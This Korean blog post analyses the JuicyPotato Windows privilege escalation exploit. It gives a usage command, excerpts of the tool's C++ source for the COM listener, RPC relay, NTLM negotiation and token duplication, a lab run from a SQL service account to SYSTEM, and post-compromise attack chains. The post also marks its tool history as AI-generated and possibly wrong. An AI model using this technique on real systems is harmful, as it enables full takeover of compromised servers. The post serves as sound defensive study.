윈도우 권한 상승(LPE) 취약점, 불량한 감자들 1. Juicy Potato


서론

필자가 침해사고 분석 업무를 수행하던 시절, 윈도우 서버에서는 거의 무조건 등장하던 녀석들이 바로 이놈들이다. 흔히 포테이토 하고 하는데, 주로 웹이나 MSSQL로 침투한 후 권한 상승(LPE) 를 위해 사용되었다.

아무런 권한이 없는 서비스 계정도 이 exploit 하나면 마법처럼 SYSTEM 권한이 뿅 하고 나타나니, 귀신이 곡할 노릇이 아닐 수 없었다.

당시 이 exploit을 분석해봐야지 하고 생각은 하고있었는데, 필자의 이해도가 너무 낮았기 떄문에 후일로 미뤄놓았다가 이번에 꺼내들었다.


🥔 권한 상승 PoC 툴 계보

윈도우 운영체제의 권한상승에는 다양한 방법이 사용될 수 있는데, 그 중 Potato계열의 계보를 정리해보자면 다음과 같다.(틀릴 수 있음, GPT가 해준거라)


  1. Potato (2016)
    • James Forshaw 등 연구자들이 처음 제안한 token impersonation 기법.
    • Windows 로컬 서비스 계정(SeImpersonatePrivilege 가진 경우)을 SYSTEM으로 올릴 수 있다는 걸 Proof of Concept으로 보여줌.
    • 오래된 Windows 버전에서도 작동.

  1. RottenPotato (2016~2017)
    • 원래 Potato 기법을 확장한 PoC.
    • NTLM 릴레이 + DCOM/DCOM NTLM 인증을 이용해서 SYSTEM 토큰을 탈취.
    • 주로 Windows 7/8, Server 2008/2012 등에서 사용 가능.
    • RottenPotatoNG는 여기서 개선된 변형 버전.

  1. JuicyPotato (2018)
    • Claudio Bozzato, Andrea Pierini 등이 만든 후속 도구.
    • RottenPotato가 제한적 환경에서만 성공하는 문제를 개선.
    • COM 서버 CLSID를 직접 호출하는 방식을 채택 → 성공률↑, 범용성↑.
    • Windows 10 / Server 2016에서도 동작했던 시기가 있음.
    • 하지만 이후 MS 패치로 막힌 부분 많음.

  1. PrintSpoofer, RoguePotato (2020 이후)
    • JP가 막힌 뒤 새로 등장한 대안.
    • PrintSpoofer: 인쇄 스풀러(Spooler) 서비스 악용.
    • RoguePotato: TCP relay + RPC abuse.

2. Juicy Potato


우선 요약

  • SeImpersonate, SeAssignPrimaryToken 권한을 통한 LPE
  • com 취약점을 악용하여 NT System Token을 얻고 이를 통해 프로세스를 생성하는 방식으로 동작
  • 로컬 서버 서비스에 대한 일종의 MitM 공격
  • Windows Server 2019, Windows 10 build 1809 이후 버전부터 해당 취약점이 동작하지 않음
1
2
3
4
5
6
7
8
# -l : com 요청을 수신할 포트. 안쓰이고 있는 아무 포트나 적어도 된다.
# -p : NT System 권한으로 실행할 프로그램
# -a : 실행할 프로그램에 줄 인자
# -t : process 생성에 사용할 api. *을 주면 알아서 선택해서 해준다.
## SeImpersonate -> CreateProcessWithTokenW
## SeAssignPrimaryToken -> CreateProcessAsUser 

JuicyPotato.exe -t * -p c:\\windows\\system32\\cmd.exe -a "/c whoami"  -l 4444

개요

  • JuicyPotato 는 Windows 환경에서 로컬 서비스 계정(Local Service Account) 을 대상으로 동작하는 권한 상승 취약점 공격 기법이다.
  • 이 기법은 BITS(Background Intelligent Transfer Service)COM 서버를 악용하여, 제한적인 권한을 가진 로컬 서비스 계정이 SYSTEM 권한을 획득할 수 있다.

조건

JuicyPotato 익스플로잇을 성공적으로 수행하기 위해서는 대상 로컬 서비스 계정이 다음과 같은 가장(impersonation) 관련 권한을 보유해야 한다.

  • SeImpersonatePrivilege
  • SeAssignPrimaryTokenPrivilege

이 권한들은 일반적으로 로컬 서비스 계정에 기본적으로 존재하거나, 특정 환경 설정에 의해 활성화될 수 있다. CLSID : Windows 컴포넌트의 고유 식별자 (예: {8BC3F05E-D86B-11D0-A075-00C04FB68820})


공격 기법(procedure)

  1. COM 서버와 상호작용을 통해 액세스 토큰 확보 및 impersonation
    • COM 서버는 Windows에서 다양한 시스템 서비스와 상호작용을 가능하게 한다.
    • 공격자는 COM 서버와 통신을 통해 액세스 토큰(access token) 을 가장할 수 있다.
  2. 새로운 프로세스생성 후 확보한 토큰을 프로세스에 적용
    • JuicyPotato는 COM 서버의 액세스 토큰을 가로채어 이를 SYSTEM 권한을 가진 토큰으로 가장한다.
    • 새로운 프로세스를 생성한 뒤 해당 프로세스에 SYSTEM 토큰을 할당한다.
  3. 권한 상승 달성
    • 최종적으로 공격자는 SYSTEM 권한으로 실행되는 프로세스를 확보하게 되며, 이는 Windows 시스템 전체 제어로 이어진다.

코드 분석

  • 우선 메인함수를 살펴보자, 중간 중간 필요 없는 부분은 생략했다.

JuicyPotato.cpp - wmain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int wmain(int argc, wchar_t** argv)
{
	BOOL brute = FALSE;
	strcpy(dcom_ip, "127.0.0.1");
	
	// Fallback to default BITS CLSID
	if (olestr == NULL)
		olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";

	exit(Juicy(NULL, FALSE));
}
  • dcom_ip로 localhost ip 127.0.0.1 을 지정하고 있다.
  • BITS 의 CLSID를 기본 값으로 사용한다. 4991d34b-80a1-4291-83b6-3328366b9097
  • 이후 Juicy 함수를 실행한다.
  • olestr은 전역 변수다.

JuicyPotato.cpp - Juicy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int Juicy(wchar_t *clsid, BOOL brute)
{
	PotatoAPI* test = new PotatoAPI();
	
	// COM (DCOM 클라이언트)에서 들어오는 트래픽 받는 리스너 스레드 시작
	test->startCOMListenerThread();

	// RPC 서버(기본 127.0.0.1:135)로 중계하는 클라이언트 스레드 시작
	test->startRPCConnectionThread();

	// 지정 CLSID로 bits 활성화 → DCOM/RPC 인증 트래픽 유도
	test->triggerDCOM();

	// 메인루프
	while (true) {
		// authResult가 -1이 아니면(= 인증 핸드셰이크/네고 성공) 권한 전이 단계로 진입.
		if (test->negotiator->authResult != -1)
		{
			// 현재 프로세스의 토큰 확보
			if (!OpenProcessToken(GetCurrentProcess(),
				TOKEN_ALL_ACCESS, &hToken))return 0;

			// SE_IMPERSONATE_NAME, SE_ASSIGNPRIMARYTOKEN_NAME 권한 활성화
			EnablePriv(hToken, SE_IMPERSONATE_NAME);
			EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);

			OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
				&hProcessToken);

			// DCOM/RPC 인증에서 협상된 SSPI 보안 컨텍스트로부터 impersonate 토큰 획득.
			QuerySecurityContextToken(
			test->negotiator->phContext, &elevated_token);

			// system 권한 체크
			IsTokenSystem(elevated_token);

			// 토큰 복제
			result = DuplicateTokenEx(elevated_token,
				TOKEN_ALL_ACCESS,
				NULL,
				SecurityImpersonation,
				TokenPrimary,
				&duped_token);
		}
	}
	return result;
}
  • test라는 PotatoAPI 객체를 생성한 후 차례로 startCOMListenerThread, startRPCConnectionThread, triggerDCOM 함수를 실행한다.
  • 해당 쓰레드들은 DCOM, RPC 사이 통신과정을 중계하고 토큰 정보를 뺴온다.
  • 인증 토큰이 준비되면 system 권한인지 체크, 복제 하고 상승된 토큰을 프로세스에 새롭게 할당한다.

JuicyPotato.cpp - startCOMListenerThread

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
DWORD PotatoAPI::startCOMListenerThread() {
    DWORD ThreadID;
    HANDLE t = CreateThread(
        NULL,                                 // 보안 속성 (NULL = 기본값)
        0,                                    // 스택 크기 (0 = 기본)
        (LPTHREAD_START_ROUTINE)staticStartCOMListener, // 스레드 함수
        (void*)this,               // 스레드 함수에 전달할 인자 (여기서는 this 포인터)
        0,                                    // 플래그 (0 = 즉시 실행)
        &ThreadID                             // 스레드 ID 반환값
    );
    return ThreadID;  // 생성된 스레드의 ID 반환
}
  • 스레드 생성 후 staticStartCOMListener 함수 실행, tid 리턴

JuicyPotato.cpp - staticStartCOMListener

1
2
3
4
DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
	PotatoAPI* This = (PotatoAPI*)Param;
	return This->startCOMListener();
}
  • 스레드에서 startCOMListener 함수 실행

JuicyPotato.cpp - startCOMListener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

int PotatoAPI::startCOMListener(void) {

	// Winsock 초기화
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);

	// 리스닝 소켓 생성
	ListenSocket = socket(
	result->ai_family, result->ai_socktype, result->ai_protocol);
	int optval = 1;
	setsockopt(
	ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));

	// 소켓 바인딩
	iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);

	// 리스닝 시작
	iResult = listen(ListenSocket, SOMAXCONN);

	timeval timeout = { 1, 0 };
	fd_set fds;
	FD_ZERO(&fds);
	FD_SET(ListenSocket, &fds);

	// 메인 루프: 클라이언트로부터 수신 → 처리/중계 → 응답 송신
	do {
		iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0) {
			
			// 수신 패킷 내 NTLM 관련 바이트 검사/가공
			processNtlmBytes(recvbuf, iResult);

			// WinRPC 측 송신 큐로 데이터 전달
			rpcSendQ->push((char*)&iResult);
			rpcSendQ->push(recvbuf);

			//WinRPC 측에서 응답 올 때까지 블록 대기
			int* len = (int*)comSendQ->wait_pop();
			sendbuf = comSendQ->wait_pop();

			// 송신 전 응답 패킷 내 NTLM 바이트 검사/가공
			processNtlmBytes(sendbuf, *len);

			// 응답 송신
			iSendResult = send(ClientSocket, sendbuf, *len, 0);
		}
	} while (iResult > 0);
}
  • 지정된 포트에서 TCP 서버 소켓을 열고 클라이언트(COM)와 연결 후, 수신한 패킷을 내부 RPC 큐로 전달하고 응답을 받아 다시 클라이언트로 중계

JuicyPotato.cpp - startRPCConnectionThread

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
DWORD PotatoAPI::startRPCConnectionThread() {
	DWORD ThreadID;
	CreateThread(
	NULL, 
	0, 
	(LPTHREAD_START_ROUTINE)staticStartRPCConnection, 
	(void*)this, 
	0, 
	&ThreadID);
	return ThreadID;
}
  • 스레드 생성 후 staticStartRPCConnection 함수를 호출하고 tid 리턴

JuicyPotato.cpp - staticStartRPCConnection

1
2
3
4
DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
	PotatoAPI* This = (PotatoAPI*)Param;
	return This->startRPCConnection();
}
  • startRPCConnection 함수 호출

JuicyPotato.cpp - startRPCConnection

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int PotatoAPI::startRPCConnection(void) {

	// RPC 서버 기본 IP
	else {
		strcpy(myhost, "127.0.0.1");
	}

	// RPC 서버 기본 Port
	else {
		strcpy(myport, "135");
	}

	// 서버 연결
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		break;
	}

	// 메인 루프 큐에서 보낼 데이터 기다렸다가 RPC로 송신 → RPC 응답을 COM 쪽 큐로 전달
	do {
		// (블록) RPC 송신 큐에 데이터가 올라올 때까지 대기
		int *len = (int*)rpcSendQ->wait_pop();
		fflush(stdout);
		sendbuf = rpcSendQ->wait_pop();

		// RPC 서버로 송신
		iResult = send(ConnectSocket, sendbuf, *len, 0);

		// RPC 서버로부터 수신
		iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
		if (iResult > 0) {
			// 수신한 길이/데이터를 COM 측 송신 큐로 전달
			comSendQ->push((char*)&iResult);
			comSendQ->push(recvbuf);
		}
	} while (iResult > 0);
	return 0;
}
  • RPC 서버(127.0.0.1:135)에 TCP로 연결해 내부 큐에서 전달받은 데이터를 전송하고, 받은 응답을 다시 다른 큐로 넘겨 COM 리스너와 RPC 서버 간 통신을 중계

JuicyPotato.cpp - triggerDCOM

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int PotatoAPI::triggerDCOM(void)
{
	// COM 초기화
	CoInitialize(nullptr);

	// IStorage 준비를 위한 ILockBytes / IStorage 생성
	IStorage *stg = NULL;
	ILockBytes *lb = NULL;
	HRESULT res;
	res = CreateILockBytesOnHGlobal(NULL, true, &lb);
	res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);

	// IStorageTrigger 객체 생성
	IStorageTrigger* t = new IStorageTrigger(stg);

	// 대상 CLSID / IID(IUnknown) 준비
	CLSID clsid;
	CLSIDFromString(olestr, &clsid);
	CLSID tmp;
	//IUnknown IID
	CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);

	//Call CoGetInstanceFromIStorage
	HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);

	fflush(stdout);
	return 0;
}
  • CoGetInstanceFromIStorage는 IStorage를 인자로 받아 해당 CLSID의 객체를 활성화하는 API.
  • CLSCTX_LOCAL_SERVER: out-of-proc 로컬 서버(EXE) 활성화(= DCOM/RPC 경로를 타는 케이스)
  • t(IStorageTrigger)가 전달되어 활성화 과정에서 스토리지가 사용됩니다. 이때 COM 런타임은 RPC를 사용하고, NTLM 인증 트래픽이 나가므로 앞서 만든 Listener/RPC 브리지가 이를 관찰/중계/가공 한다.

LocalNegitiator.cpp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#include <iostream>

void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
	pSecBuffer->BufferType = SECBUFFER_TOKEN;
	pSecBuffer->cbBuffer = 0;
	pSecBuffer->pvBuffer = nullptr;

	pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
	pSecBufferDesc->cBuffers = 1;
	pSecBufferDesc->pBuffers = pSecBuffer;
}

// Type 1. Negotiation: 클라이언트 → 서버 협상 요청
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
{
	TCHAR lpPackageName[1024] = L"Negotiate";
	TimeStamp ptsExpiry;

	int status = AcquireCredentialsHandle(
		NULL,
		lpPackageName,
		SECPKG_CRED_INBOUND,
		NULL,
		NULL,
		0,
		NULL,
		&hCred,
		&ptsExpiry);

	InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
	InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);

	phContext = new CtxtHandle();

	secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
	secClientBuffer.pvBuffer = ntlmBytes;

	ULONG fContextAttr;
	TimeStamp tsContextExpiry;

	status = AcceptSecurityContext(
		&hCred,
		nullptr,
		&secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		phContext,
		&secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry);

	return status;
}

// Type 2. Challenge Message: 서버 → 클라이언트 서버가 Challenge와 도메인 정보 등을 담아 응답
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
{
	char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
	if (len >= secServerBuffer.cbBuffer) {
		for (int i = 0; i < len; i++)
		{
			if (i < secServerBuffer.cbBuffer) {
				ntlmBytes[i] = newNtlmBytes[i];
			}
			else {
				ntlmBytes[i] = 0x00;
			}
		}
	}
	else {
		printf("Buffer sizes incompatible - can't replace");
	}

	return 0;
}

// Type 3. Authenticate Message: 클라이언트 → 서버 Challenge 응답, 서버는 검증
// 성공 시 서버는 SEC_E_OK 반환, 이후 QuerySecurityContextToken() 으로 클라이언트 자격 증명을 가진 액세스 토큰 획득 가능.
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
{
	InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
	InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);

	secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
	secClientBuffer.pvBuffer = ntlmBytes;

	ULONG fContextAttr;
	TimeStamp tsContextExpiry;
	int status = AcceptSecurityContext(
		&hCred,
		phContext,
		&secClientBufferDesc,
		ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
		//STANDARD_CONTEXT_ATTRIBUTES,
		SECURITY_NATIVE_DREP,
		phContext,
		&secServerBufferDesc,
		&fContextAttr,
		&tsContextExpiry);

	authResult = status;

	return status;
}
  • SSPI(Windows Security Support Provider Interface) 를 사용해 NTLM/Negotiate 인증 핸드셰이크를 “로컬에서 흉내 내며” 처리하는 서버 측 토큰 협상기
  • COM/DCOM에서 넘어오는 NTLM Type-1/2/3 메시지를 받아 AcceptSecurityContext로 단계별 검증·응답을 작성
  • 최종적으로 보안 컨텍스트(토큰) 획득 상태를 authResult 변수에 저장

주의


COM
  • Component Object Model의 약자
  • Microsoft가 만든 소프트웨어 컴포넌트 기술
  • 프로세스 간, 또는 네트워크를 통한 객체 기반 통신/재사용을 지원
  • CLSID, IID 같은 고유 ID를 사용해 객체를 식별하고 호출
  • Serial Communication에 사용하는 COM 포트가 아니다!

CLSID
  • Class Identifier
  • GUID(Globally Unique Identifier) 형식의 128비트 값
  • COM(Component Object Model)에서 클래스 객체(컴포넌트)를 식별하기 위해 사용
  • COM은 “객체를 불러 쓰는 방식”, 이때 이름 대신 숫자 ID(GUID) 로 컴포넌트를 찾음
  • 이유:
    1. 전 세계적으로 유일 (GUID 생성 알고리즘으로 충돌 가능성 거의 없음)
    2. 언어·환경 독립적 (C, C++, VB, .NET 등 어떤 언어에서든 같은 CLSID로 동일 객체를 호출 가능)
    3. Registry 기반 탐색
      • CLSID는 Windows 레지스트리의 HKEY_CLASSES_ROOT\CLSID{…} 키 아래 등록됨
      • 해당 CLSID에 매핑된 DLL/EXE 경로, 서버 유형(Inproc/Local/Remote) 등이 기록되어 있음

3. 정리

  • 코드 설명이 너무 길었는데 요약해보자면 다음과 같다.

exploit 배경

  • COM은 내부적으로 RPC를 통해 통신한다.
  • Windows는 COM/DCOM 객체를 활성화할 때, 내부적으로 RPC를 통해 통신하며 NTLM 또는 Kerberos 인증을 수행.
  • Windows는 로컬 RPC/DCOM 호출에서 SYSTEM 계정이 주로 사용됨

exploit 을 성공하기 위한 필요 조건

  • SE_IMPERSONATE_NAME, SE_ASSIGNPRIMARYTOKEN_NAME 권한 활성화
  • RPC Endpoint Mapper (포트 135/tcp)와 DCOM 서비스가 SYSTEM 권한으로 동작중

공격 흐름

1. COM/DCOM 요청 유도

  • 특정 CLSID를 사용해 COM 객체를 호출하면 COM 런타임이 CLSID 활성화를 위해 DCOM/RPC 인증 절차를 시작
  • JP는 이 CLSID를 이용해 **“SYSTEM 권한을 가진 BITS COM 서버와 통신하게 만들어 달라”**라고 COM/DCOM 런타임에 요청
  • 클라이언트가 COM 객체를 요청하면, COM 런타임은 해당 CLSID를 담당하는 서버 프로세스를 찾고, 서버 쪽에서 클라이언트와 인증 세션(SSPI, NTLM/Kerberos)을 맺음
  • 이 때 서버 쪽은 SYSTEM 권한을 가지고 있다. 서버가 SYSTEM 권한으로 실행 중이라면, NTLM 보안 컨텍스트 내부 토큰도 SYSTEM이 된다

2. RPC 인증 과정

  • RPC는 클라이언트와(JP) 서버(SYSTEM) 간에 SSPI(Security Support Provider Interface) 기반 인증을 수행
  • 만약 NTML 인증이라면 서버(SYSTEM)가 “이 계정으로 인증할게” 하고 SYSTEM 자격 증명의 인증 토큰을 클라이언트 세션으로 전달

3. 공격자 리스너 중계

  • COM 호출이 접근하는 채널을 리스너로 리다이렉트 한다.
  • SYSTEM이 NTLM 인증 토큰을 보내면 QuerySecurityContextToken로 추출할 수 있다.
  • JP는 이 트래픽을 공격자가 만든 로컬 리스너로 리다이렉트시켜서, SYSTEM이 던지는 NTLM 인증 핸드셰이크를 가로챈다.

4. IMPERSONATION 토큰 획득

  • SSPI 컨텍스트에서 SYSTEM 임퍼스네이션 토큰을 꺼냄
  • 이 상태에서 스레드 토큰으로 ImpersonateSecurityContext를 걸면, 스레드가 SYSTEM처럼 행동할 수 있음
  • 단, 이건 임퍼스네이션 토큰이기 때문에 새 프로세스를 SYSTEM으로 생성할수는 없음

5. Primary Token으로 변환

  • DuplicateTokenEx 함수를 호출해 임퍼스네이션 토큰을 Primary 토큰으로 변환
  • 이 때 SeImpersonatePrivilege 권한이 필요
  • 변환을 성공하면 해당 토큰을 프로세스에 적용해 SYSTEM 권한 탈취 가능.

6. SYSTEM 프로세스 생성

  • 이제 이 토큰을 CreateProcessWithTokenW나 CreateProcessAsUserW에 넣으면, SYSTEM 권한의 새 프로세스를 실행 가능

4. 실제 공격 테스트

jp exploit

악용 방지를 위해 실제 코드는 가려놓았습니다

이미지 순서보면 처음에 ’nt service\mssqlserver’ 계정임을 확인할 수 있다.

이후 JP를 통한 exploit 실행 시 곧바로 ’nt authority\system’ 권한이 떨어지는 것을 볼 수 있다.

중요한 것은 일반 사용자 계정이 아니라, 시스템 서비스 계정이어야 한다는 것이다.

일반 사용자 계정에는 SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege / SeIncreaseQuotaPrivilege 같은 특권이 존재하지 않기 때문이다.


5. 권한과 특권

  1. 서비스 계정의 특권 모델

Windows에서 “서비스(Service)”는 보통 특정 빌트인 서비스 계정으로 구동된다:

• LocalSystem (NT AUTHORITY\SYSTEM) → 이미 SYSTEM이므로 더 올라갈 필요 없음.


• LocalService (NT AUTHORITY\LOCAL SERVICE)

• NetworkService (NT AUTHORITY\NETWORK SERVICE)

→ 이 두 계정은 관리자도 아니고 일반 사용자보다 더 기능이 제한된 계정이지만, 서비스 실행을 위해 꼭 필요한 특권이 기본 포함돼 있다.


대표적으로:

• SeImpersonatePrivilege ✅ (있음)

• SeAssignPrimaryTokenPrivilege ✅ (있음)

• SeIncreaseQuotaPrivilege ✅ (있음)


즉, 웹서버(IIS w3wp.exe)나 MSSQL(sqlservr.exe) 같은 서비스는 보통 이 계정으로 실행되므로, 공격자가 이 프로세스를 장악하면 Potato 계열을 써서 SYSTEM으로 승격할 수 있게 된다.

다음 표를 참고해도 좋겠다.


일반 사용자 vs 서비스 계정 비교

계정 유형SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeJP/PrintSpoofer 성공 가능성
일반 사용자❌ 없음❌ 없음❌ 없음불가
LocalService✅ 있음✅ 있음✅ 있음가능
NetworkService✅ 있음✅ 있음✅ 있음가능

6. 마무리

해당 익스플로잇은 현재 최신 버전의 윈도우 서버 2016 이상 운영체제, 윈도우 10 이상 운영체제에서는 더이상 동작하지 않는다.

하지만 윈도우 서버 2012에서는 여전히 잘 동작하며 여전히 웹이나 MS-SQL 관리자 계정 탈취로 이어지는 공격 체인 시나리오는 위협적이다.

대표적인 공격 체인은 다음과 같다.

  • MSSQL sa 계정 탈취 > xp_cmdshell 활성화 > JP를 사용한 권한상승 수행

  • 웹 취약점으로 관리자 계정이나 세션 탈취, 또는 웹 취약점 > 웹셸 생성 or SSTI 로 RCE > JP 를 통한 권한 상승

등.. 따라서 최신 운영체제를 사용하고 백신을 활성화 해 두는 것이 정말 중요하다 할 수 있겠다.

여기까지 끝! 2편에서는 Print Spoofer를 다뤄보까 한다.


Reference

https://github.com/ohpe/juicy-potato/tree/master